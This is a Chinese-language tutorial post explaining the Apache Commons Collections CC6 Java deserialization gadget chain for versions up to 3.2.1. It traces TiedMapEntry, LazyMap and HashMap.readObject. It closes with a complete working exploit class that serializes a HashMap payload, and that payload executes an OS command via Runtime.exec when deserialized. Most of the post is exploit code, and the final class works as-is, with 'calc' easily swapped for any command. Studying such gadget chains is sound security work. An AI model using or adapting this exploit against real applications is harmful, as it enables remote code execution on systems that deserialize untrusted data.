准备阶段

实际上 CC6链子 又是CC1的一个变种 没有版本限制
找到这个漏洞的人又开辟出 一个新的线路 通过 TiedMapEntry.hashcode() 去触发 CC1里的 LazyMap.get()
CC6是最好用的CC利用链,因为CC6不限制jdk版本,只要commons collections 小于等于3.2.1,都存在这个漏洞。

这里我们是继续沿用的CC1 的项目

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

在jdk8u_71之后,AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。

正文

构造的chainedTransformer不变

1
2
3
4
5
6
7
Transformer[] transformerArray=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);

TiedMapEntry

在TiedMapEntry中我们发现了getValue()方法调用了LazyMap中的get方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private final Map map;
private final Object key;

public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
//...
public Object getValue() {
return map.get(key);
}
//...
}

在本类中的hashCode()方法调用了getValue()
所以查找谁调用了hashCode()方法

HashMap

如果使用过HashMap的话,会知道在Java中,HashMap不保证任何顺序。这是因为HashMap是基于哈希表实现的,它通过计算键(key)的哈希值来决定存储位置,这意味着元素的排列顺序依赖于它们的哈希值,而这些哈希值是由键的hashCode()方法产生的。

那么谁又调用了hash()呢?

  • 1,由于根据HashMap的特性,通过put传入的键会由HashCode()生成哈希值,所以在本类的put方法中调用了hash()

  • 2,HashMap实现了Serializable接口并重写了readObject()方法,在readObject()方法中也会间接调用hash()方法

所以会有个问题:
如果我们通过put传入键值对时会在序列化之前就会调用我们构造的chainedTransformer,使反序列化后无法调用chainedTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}

// set other fields that need values
table = (Entry<K,V>[]) EMPTY_TABLE;

// Read in number of buckets
s.readInt(); // ignored.

// Read number of mappings
int mappings = s.readInt();
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);

// capacity chosen by number of mappings and desired load (if >= 0.25)
int capacity = (int) Math.min(
mappings * Math.min(1 / loadFactor, 4.0f),
// we have limits...
HashMap.MAXIMUM_CAPACITY);

// allocate the bucket array;
if (mappings > 0) {
inflateTable(capacity);
} else {
threshold = capacity;
}

init(); // Give subclass a chance to do its thing.

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putForCreate(key, value);
}
}

在putForCreate()(注意putForCreate的方法名在jdk8是其他名字)方法中调用了hash()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void putForCreate(K key, V value) {
int hash = null == key ? 0 : hash(key);
int i = indexFor(hash, table.length);

/**
* Look for preexisting entry for key. This will never happen for
* clone or deserialize. It will only happen for construction if the
* input Map is a sorted map whose ordering is inconsistent w/ equals.
*/
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k)))) {
e.value = value;
return;
}
}

createEntry(hash, key, value, i);
}

解决问题:

  • 因为在put的时候,链子会执行一次,为了不影响 我们先不给factory赋值构造的chainedTransformer,随便赋值一个没用的factory–new ConstantTransformer(1)
  • 又因为类型是protected final Transformer factory 后面在序列化前我们需要利用反射 将factory改回我们需要的chainedTransformer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Map m = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(m, new ConstantTransformer(1));
TiedMapEntry entry = new TiedMapEntry(lazyMap,"aaa");

HashMap map = new HashMap();
map.put(entry, "bbb");

Class clazz = LazyMap.class;
Field field = clazz.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap,chainedTransformer);

serialize(map);
unserialize("ser1.bin");

运行之后发现,通过此方法无法调用calc
通过调试发现问题所在

1
if (map.containsKey(key) == false)

map.containsKey(key) 的值为true ,跳出if语句直接返回 map.get(key)

通过传入的key为”aaa”, get()它会判断key是否存在,不存在的话,才会去执行 factory.transform() 因此我们需要在生成序列化对象的时候,将LazyMap对象里的那个map的key置空。

1
lazyMap.remove("aaa");

最终Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.javatest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformerArray=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
Map m = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(m, new ConstantTransformer(1));
TiedMapEntry entry = new TiedMapEntry(lazyMap,"aaa");

HashMap map = new HashMap();
map.put(entry, "bbb");
lazyMap.remove("aaa");

Class clazz = LazyMap.class;
Field field = clazz.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap,chainedTransformer);
serialize(map);
unserialize("ser1.bin");
}

//序列化方法
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(object);
}

//反序列化方法
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}